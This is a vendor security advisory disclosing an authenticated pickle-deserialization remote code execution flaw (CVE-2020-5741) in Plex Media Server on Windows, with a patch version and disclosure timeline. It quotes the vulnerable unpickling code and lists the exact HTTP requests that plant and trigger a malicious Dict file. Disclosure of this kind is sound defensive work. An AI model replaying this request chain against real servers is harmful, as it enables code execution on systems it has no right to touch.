

Plex Media Server Authenticated Python Deserialization / RCE (Windows)

Medium

[← View More Research Advisories](#)

Synopsis

The Plex Media Server plugin framework contains a flaw that allows a remote attacker (authenticated with admin privileges) to execute arbitrary Python code within the context of the current OS user. Specifically, when a "Dict" file is loaded for a given plugin, the contents are unpickled without validation. The Dict file can be delivered remotely via the camera upload feature.

Let's first take a look at the unpickling piece.

This logic can be observed in C:\Program Files (x86)\Plex\Plex Media Server\Resources\Plugin-ins-513b381af\Framework.bundle\Contents\Resources\Versions\1\Python\PMS\Dict.py:

```
def __load():
    global __dict
    path = "%s/Dict" % Data.__dataPath
    if os.path.exists(path):
        try:
            __dict = Data.__unpickle(path)
            PMS.Log("(Framework) Loaded the dictionary file")
        except:
            PMS.Log("(Framework) The dictionary file is corrupt & couldn't be loaded")
            __loadDefaults()
    else:
        __loadDefaults()
```

And if we observe the definition of Data.__unpickle in C:\Program Files (x86)\Plex\Plex Media Server\Resources\Plugin-ins-513b381af\Framework.bundle\Contents\Resources\Versions\1\Python\PMS\Data.py:

```
def __unpickle(path):
    f = open(path, "r")
    obj = pickle.load(f)
    f.close()
    return obj
```

It's clear that the pickle.loads() function is used to deserialize the contents of Dict. An attacker can craft a malicious Dict file such that when it is loaded, a payload of the attacker's choosing will be executed.

The delivery and trigger mechanisms require a few steps, but this can be automated. Here is the general flow:

1. Create a photo library at C:\Users\Public (can be different).

```
POST /library/sections?name=EvilLib&type=photo&agent=com.plexapp.agents.none&scanner=Plex%20Photo%20Scanner&language=en&importFromiTunes=&enableAutoPhotoTags=&location=C:\
```

2. Using location ID from response, upload Dict file in this library. The directory structure will be created.

```
POST /library/metadata?createdAt=1171387901&filename=myfolder/Plex+Media+Server/Plug-in+Support/Data/com.plexapp.system/Dict&overwrite=true&locationID=8&sectionID=3&type=1
```

3. Modify local app data path to point to this location

```
PUT /:/prefs?LocalAppDataPath=C:\Users\Public\myfolder
```

4. Restart com.plexapp.system

```
GET /:/plugins/com.plexapp.system/restart
```

Proof of Concept

[auth_dict_unpickle_rce_exploit_tra_2020_32.py](#)

Solution

Upgrade to Plex Media Server 1.19.3.

Additional References

<https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819>

Disclosure Timeline

03/31/2020 - Tenable reports vulnerability to Plex



miss anything.

04/04/2020 - Tenable emphasizes that this is an authenticated RCE and explains why it is severe.

04/10/2020 - Tenable follows up.

04/22/2020 - Plex has deployed this in an upcoming version. Describes their fix.

04/22/2020 - Tenable tests beta patch. Vuln not fixed.

04/23/2020 - Plex indicates that the fix should be in 1.19.3. Shares an alpha for me to test.

04/23/2020 - Tenable tests the alpha, and it mitigates the remote code execution.

05/01/2020 - Tenable asks for an update.

05/05/2020 - Plex says the goal is to release this week. They will release a forum statement too.

05/07/2020 - Tenable acknowledges and shares CVE number.

05/07/2020 - Plex publishes 1.19.3 and releases a forum statement.

05/07/2020 - Tenable acknowledges. We will publish our advisory today as well.

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our [Vulnerability Reporting Guidelines](#) page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: [CVE-2020-5741](#)

Tenable Advisory ID: TRA-2020-32

Credit: Chris Lyne

CVSSv2 Base / Temporal Score: 6.0 / 5.0

CVSSv2 Vector: (AV:N/AC:M/Au:S/C:P/I:P/A:P)

Affected Products: Plex Media Server prior to 1.19.3

Risk Factor: Medium

Advisory Timeline

05/07/2020 - Advisory released

FEATURED PRODUCTS

Tenable One Exposure Management Platform

Tenable.cs Cloud Security

Tenable.io Vulnerability Management

Tenable.io Web App Scanning

Tenable.asm External Attack Surface

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security Posture Management

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust



[Community & Support](#)
[Customer Education](#)
[Tenable Research](#)
[Documentation](#)
[Trust and Assurance](#)
[Nessus Resource Center](#)
[Cyber Exposure Fundamentals](#)
[System Status](#)

CONNECTIONS

[Blog](#)
[Contact Us](#)
[Careers](#)
[Investors](#)
[Events](#)
[Media](#)



[Privacy Policy](#) [Legal](#) [508 Compliance](#)
© 2022 Tenable®, Inc. All Rights Reserved

